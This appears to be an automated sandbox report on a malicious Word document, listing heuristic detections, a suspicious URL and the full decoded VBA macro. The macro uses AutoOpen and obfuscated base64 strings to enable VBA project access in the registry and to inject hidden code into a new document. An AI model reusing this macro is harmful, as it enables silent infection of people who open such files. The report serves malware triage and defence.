MALICIOUS
132
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
viewVariableConvert.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString referenceFunc -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set swapPasteQuery = CreateObject("msxml2.domdocument") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://2000-duncan-stock.com/bijol/59366/mkH0NYI3UvTM3mko3xCCguQFwbBgb60C5cCszXyZukpX/gytkIvJoR2NXiR0t7dcWUMJOLOr2i0G7zAh1chA/irBnlcJCGHyAZg/uMDyVyjfo In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2968 bytes |
SHA-256: 1864547e02d7675d57f2e2c89914ebbe521f8321c9e81800c383f5469660a34f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{3FD354A9-C36B-46DA-9040-2057817B1A3D}{42180753-426A-4FA3-86B2-1DEF828E2D8B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "rightClass"
Sub autoopen()
iteratorPasteVariable
Dim listViewPaste As String
listViewPaste = varCounter
varCollectionScreen listViewPaste
End Sub
Attribute VB_Name = "collectionMainSize"
Function tempReferenceData(copyVar As String) As Variant
Dim swapPasteQuery As Object
Dim memNamespaceValue As Object
Set swapPasteQuery = CreateObject("msxml2.domdocument")
Set memNamespaceValue = swapPasteQuery.createElement("code")
memNamespaceValue.DataType = "bin.base64"
memNamespaceValue.Text = copyVar
tempReferenceData = memNamespaceValue.nodeTypedValue
End Function
Function loadSelectNamespace(responseConst, arrayIndex)
loadSelectNamespace = StrConv(responseConst, arrayIndex)
End Function
Attribute VB_Name = "memVb"
Sub varCollectionScreen(referenceFunc As String)
Set constPointer = CreateObject("word.application")
Set viewVariableConvert = constPointer.Documents.Add
viewVariableConvert.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString referenceFunc
constPointer.Visible = False
constPointer.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Attribute VB_Name = "buttonBorder"
Function tmpVariableGeneric() As String
tmpVariableGeneric = Application.Version
End Function
Function sizePasteNamespace()
sizePasteNamespace = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function lenCounterSwap()
lenCounterSwap = "cript.sh"
End Function
Function valueCaption()
valueCaption = "VjdXJpdHlcQWN"
End Function
Sub iteratorPasteVariable()
arrayPaste = loadSelectNamespace(tempReferenceData("SEtFWV9DVVJSR" & sizePasteNamespace & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
namespaceStorage = tmpVariableGeneric
leftExceptionSelect = loadSelectNamespace(tempReferenceData("XFdvcmRcU2" & valueCaption & "jZXNzVkJPTQ=="), vbUnicode)
textCountNext = arrayPaste & namespaceStorage & leftExceptionSelect
With CreateObject("ws" & lenCounterSwap & "ell")
.RegWrite textCountNext, 1, "REG_DWORD"
End With
End Sub
Public Function refPaste(ByVal procedurePointer As String) As String
For refCaption = 1 To Len(procedurePointer) Step 2
titleClearRepo = Chr$(Val("&H" & Mid$(procedurePointer, refCaption, 2)))
swapListbox = swapListbox & titleClearRepo
Next refCaption
refPaste = swapListbox
End Function
Function varCounter()
varCounter = UserForm1.TextBox1
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 26624 bytes |
SHA-256: d7471c3a1d7a2fa676358fbe522c42062e893f1ae4b35d3b2886303218ec010e |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.